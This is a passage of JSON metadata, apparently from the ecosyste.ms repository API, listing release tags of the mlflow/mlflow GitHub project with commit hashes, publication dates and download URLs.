ithub/mlflow/mlflow@ts%2Fv0.2.0-rc.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/ts%2Fv0.2.0-rc.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/ts%2Fv0.2.0-rc.2/manifests"},{"name":"v3.12.0rc0","sha":"3e80b80d7264f5a409a9bb55839995cbc7e010e1","kind":"commit","published_at":"2026-04-25T02:31:08.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v3.12.0rc0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v3.12.0rc0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v3.12.0rc0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.12.0rc0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.12.0rc0/manifests"},{"name":"ts/v0.2.0-rc.1","sha":"db9142d7ac809da9da6c148e196d0170b6b665ae","kind":"commit","published_at":"2026-04-13T09:28:14.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/ts/v0.2.0-rc.1","html_url":"https://github.com/mlflow/mlflow/releases/tag/ts/v0.2.0-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@ts%2Fv0.2.0-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/ts%2Fv0.2.0-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/ts%2Fv0.2.0-rc.1/manifests"},{"name":"v3.11.1","sha":"09179c65741c4d40df2e934950e32f526a2c0e9e","kind":"commit","published_at":"2026-04-07T12:09:27.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v3.11.1","html_url":"https://github.com/mlflow/mlflow/releases/tag/v3.11.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v3.11.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.11.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.11.1/manifests"},{"name":"v3.11.0rc1","sha":"2627607e66982c6c422c6049acdb65aede496d90","kind":"commit","published_at":"2026-04-01T05:51:02.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v3.11.0rc1","html_url":"https://github.com/mlflow/mlflow/releases/tag/v3.11.0rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v3.11.0rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.11.0rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.11.0rc1/manifests"},{"name":"v3.11.0rc0","sha":"cf3bbbf65acbb3722d3d1bde093fa3998abb3e0e","kind":"commit","published_at":"2026-03-16T11:48:14.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v3.11.0rc0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v3.11.0rc0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v3.11.0rc0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.11.0rc0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.11.0rc0/manifests"},{"name":"v3.10.1","sha":"cadc323c059d08ee15c3a312afd0eefeeccedc94","kind":"commit","published_at":"2026-03-05T09:31:21.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v3.10.1","html_url":"https://github.com/mlflow/mlflow/releases/tag/v3.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v3.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.10.1/manifests"},{"name":"v3.10.0","sha":"d0b97413e383796f1ca742b20cac74543185816c","kind":"commit","published_at":"2026-02-20T11:34:59.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v3.10.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v3.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v3.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.10.0/manifests"},{"name":"v3.10.0rc0","sha":"9b0f106a86d929591195f7bb02a6ab6be325a8f7","kind":"commit","published_at":"2026-02-11T11:45:13.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v3.10.0rc0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v3.10.0rc0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v3.10.0rc0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.10.0rc0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.10.0rc0/manifests"},{"name":"v3.9.0","sha":"cf3d582a7b8a6f234e4d28ef6987bb8076c6ee54","kind":"commit","published_at":"2026-01-29T05:20:41.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v3.9.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v3.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v3.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.9.0/manifests"},{"name":"v3.9.0rc0","sha":"d8c9d8c0bcaedd5133e14e0b2931fdd607c97366","kind":"commit","published_at":"2026-01-15T11:52:04.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v3.9.0rc0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v3.9.0rc0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v3.9.0rc0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.9.0rc0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.9.0rc0/manifests"},{"name":"v3.8.1","sha":"4cc9d5bd7cd1962f7f34017e8d8f133f89ad8d69","kind":"commit","published_at":"2025-12-26T15:17:39.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v3.8.1","html_url":"https://github.com/mlflow/mlflow/releases/tag/v3.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v3.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.8.1/manifests"},{"name":"v3.8.0","sha":"55ef1e2a9226953867a2fda1f458355d1b3dac8f","kind":"commit","published_at":"2025-12-21T05:32:56.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v3.8.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v3.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v3.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.8.0/manifests"},{"name":"v3.8.0rc0","sha":"23ec3fb467225fca8c78dbefcaf7ad7bf88b39d5","kind":"commit","published_at":"2025-12-15T05:04:01.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v3.8.0rc0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v3.8.0rc0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v3.8.0rc0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.8.0rc0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.8.0rc0/manifests"},{"name":"v2.22.4","sha":"2b5aa126c2e64388201f1c907df9808df58cc661","kind":"commit","published_at":"2025-12-05T11:52:09.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v2.22.4","html_url":"https://github.com/mlflow/mlflow/releases/tag/v2.22.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v2.22.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.22.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.22.4/manifests"},{"name":"v2.22.3","sha":"d5e12595014c4413daea731c3fa0e173ea25e6ee","kind":"commit","published_at":"2025-12-05T07:44:31.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v2.22.3","html_url":"https://github.com/mlflow/mlflow/releases/tag/v2.22.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v2.22.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.22.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.22.3/manifests"},{"name":"v3.7.0","sha":"c4d8b3a29dff5b443bb825dbaec735c37343a801","kind":"commit","published_at":"2025-12-05T02:28:44.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v3.7.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v3.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v3.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.7.0/manifests"},{"name":"v3.7.0rc0","sha":"8220c8e71c49ad38b5fd0d2bf75d0fd946803cb9","kind":"commit","published_at":"2025-11-27T09:09:01.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v3.7.0rc0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v3.7.0rc0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v3.7.0rc0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.7.0rc0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.7.0rc0/manifests"},{"name":"v3.6.0","sha":"d7e0aa6eed8b32074f097bc9ffd9bbef9df2145c","kind":"commit","published_at":"2025-11-11T02:03:21.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v3.6.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v3.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v3.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.6.0/manifests"},{"name":"v3.6.0rc0","sha":"ce3a2fdc813b4f94c6b5a40b89f8444e4dc977e0","kind":"commit","published_at":"2025-11-03T15:28:40.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v3.6.0rc0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v3.6.0rc0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v3.6.0rc0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.6.0rc0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.6.0rc0/manifests"},{"name":"v3.5.1","sha":"c4ee72f0c912b8ca477eeb08e44e930358e8d4ec","kind":"commit","published_at":"2025-10-22T16:26:42.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v3.5.1","html_url":"https://github.com/mlflow/mlflow/releases/tag/v3.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v3.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.5.1/manifests"},{"name":"v3.5.0","sha":"77b2695bca61f6d6eee4c58cd84994ca0da375e3","kind":"commit","published_at":"2025-10-16T12:17:21.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v3.5.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v3.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v3.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.5.0/manifests"},{"name":"v3.5.0rc0","sha":"19c618cb66ff834cff5f680d3d1530cf2253e43c","kind":"commit","published_at":"2025-10-08T06:21:39.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v3.5.0rc0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v3.5.0rc0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v3.5.0rc0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.5.0rc0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.5.0rc0/manifests"},{"name":"v3.4.0","sha":"78d075062b120597050bf2b3839a426feea5ea4c","kind":"commit","published_at":"2025-09-17T03:30:04.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v3.4.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v3.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v3.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.4.0/manifests"},{"name":"v3.4.0rc0","sha":"7bbce7b72809453fa4c69ae3f058864a3ab0ee06","kind":"commit","published_at":"2025-09-11T21:45:32.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v3.4.0rc0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v3.4.0rc0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v3.4.0rc0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.4.0rc0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.4.0rc0/manifests"},{"name":"v2.22.2","sha":"fb8a67c5ef3e68676297e960443ed3d93af87083","kind":"commit","published_at":"2025-08-28T03:33:50.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v2.22.2","html_url":"https://github.com/mlflow/mlflow/releases/tag/v2.22.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v2.22.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.22.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.22.2/manifests"},{"name":"v3.3.2","sha":"9e9abf26f8aa7b546610652fa2556e09f2a83cd2","kind":"commit","published_at":"2025-08-27T09:34:25.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v3.3.2","html_url":"https://github.com/mlflow/mlflow/releases/tag/v3.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v3.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.3.2/manifests"},{"name":"v3.3.1","sha":"0d0336730b2d5602640556721c19111bf32adc0e","kind":"commit","published_at":"2025-08-20T13:54:06.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v3.3.1","html_url":"https://github.com/mlflow/mlflow/releases/tag/v3.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v3.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.3.1/manifests"},{"name":"v3.3.0","sha":"f2266fa9f4583612aa1eb0ca9b63046f12153ce1","kind":"commit","published_at":"2025-08-19T14:31:58.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v3.3.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v3.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v3.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.3.0/manifests"},{"name":"nightly","sha":"558afd276693cfa4672439977aaef7673b5623d8","kind":"commit","published_at":"2025-08-13T17:56:51.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/nightly","html_url":"https://github.com/mlflow/mlflow/releases/tag/nightly","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@nightly","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/nightly","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/nightly/manifests"},{"name":"v3.3.0rc0","sha":"316357c45b67b5ecd67755c5fbfa4db0925563eb","kind":"commit","published_at":"2025-08-13T10:25:02.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v3.3.0rc0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v3.3.0rc0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v3.3.0rc0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.3.0rc0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.3.0rc0/manifests"},{"name":"v3.2.0","sha":"e1de6be10b4044f4b4a493ae9dabc3e6827ad41e","kind":"commit","published_at":"2025-08-05T11:38:24.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v3.2.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v3.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v3.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.2.0/manifests"},{"name":"v3.2.0rc0","sha":"58ad58db02406d2abfa11be2e49f29141328c4c8","kind":"commit","published_at":"2025-07-29T12:11:18.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v3.2.0rc0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v3.2.0rc0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v3.2.0rc0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.2.0rc0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.2.0rc0/manifests"},{"name":"v3.1.4","sha":"d393a0c2bd1a2dcd1ffab4784af3579266a78dc0","kind":"commit","published_at":"2025-07-23T04:42:54.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v3.1.4","html_url":"https://github.com/mlflow/mlflow/releases/tag/v3.1.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v3.1.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.1.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.1.4/manifests"},{"name":"v3.1.3","sha":"5cc8e8d880543f578bf87227949195ec50d26ff0","kind":"commit","published_at":"2025-07-22T13:00:25.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v3.1.3","html_url":"https://github.com/mlflow/mlflow/releases/tag/v3.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v3.1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.1.3/manifests"},{"name":"v3.1.2","sha":"fa38501ca004807d66b6ed1080f4f13cca274f26","kind":"commit","published_at":"2025-07-08T08:37:58.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v3.1.2","html_url":"https://github.com/mlflow/mlflow/releases/tag/v3.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v3.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.1.2/manifests"},{"name":"v3.1.1","sha":"ace0a2cb5854fac641e2697e2726a5b8951af699","kind":"commit","published_at":"2025-06-25T03:06:43.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v3.1.1","html_url":"https://github.com/mlflow/mlflow/releases/tag/v3.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v3.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.1.1/manifests"},{"name":"v3.0.1","sha":"cc9451abbcef94744102ebebc43d6948292a47d1","kind":"commit","published_at":"2025-06-25T02:06:49.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v3.0.1","html_url":"https://github.com/mlflow/mlflow/releases/tag/v3.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v3.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.0.1/manifests"},{"name":"v3.1.0","sha":"39a419b4ec8fd11b59b3e50ab397042a490f2324","kind":"commit","published_at":"2025-06-10T20:02:30.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v3.1.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v3.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v3.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.1.0/manifests"},{"name":"v3.0.0","sha":"43b409172c6fec25291e4ac51784cbc302d2e7b6","kind":"commit","published_at":"2025-06-10T16:05:07.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v3.0.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v3.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v3.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.0.0/manifests"},{"name":"v2.22.1","sha":"491aac5d12c5aa1bc88ffa51690af7e00e171cc5","kind":"commit","published_at":"2025-06-06T02:03:18.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v2.22.1","html_url":"https://github.com/mlflow/mlflow/releases/tag/v2.22.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v2.22.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.22.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.22.1/manifests"},{"name":"v3.1.0rc0","sha":"feb461dc271edbd2b4b55cc0e8a8585460c51c4c","kind":"commit","published_at":"2025-05-29T11:44:45.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v3.1.0rc0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v3.1.0rc0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v3.1.0rc0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.1.0rc0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.1.0rc0/manifests"},{"name":"v3.0.0rc3","sha":"0e995428d7030e6601e10dbbca9ecd691fd1a166","kind":"commit","published_at":"2025-05-21T06:37:38.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v3.0.0rc3","html_url":"https://github.com/mlflow/mlflow/releases/tag/v3.0.0rc3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v3.0.0rc3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.0.0rc3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.0.0rc3/manifests"},{"name":"v3.0.0rc2","sha":"b20769ddf4973e44b019901bc2b2b9561ea65a6a","kind":"commit","published_at":"2025-05-13T07:53:30.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v3.0.0rc2","html_url":"https://github.com/mlflow/mlflow/releases/tag/v3.0.0rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v3.0.0rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.0.0rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.0.0rc2/manifests"},{"name":"v3.0.0rc1","sha":"38ee86d5a574a877e1ba240b53acf040a198b144","kind":"commit","published_at":"2025-04-25T09:46:53.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v3.0.0rc1","html_url":"https://github.com/mlflow/mlflow/releases/tag/v3.0.0rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v3.0.0rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.0.0rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.0.0rc1/manifests"},{"name":"v2.22.0","sha":"fd2d9861fa52eeca178825c871d5d29fbb3b95c4","kind":"commit","published_at":"2025-04-24T06:36:21.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v2.22.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v2.22.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v2.22.0","tag_url":"https://repos.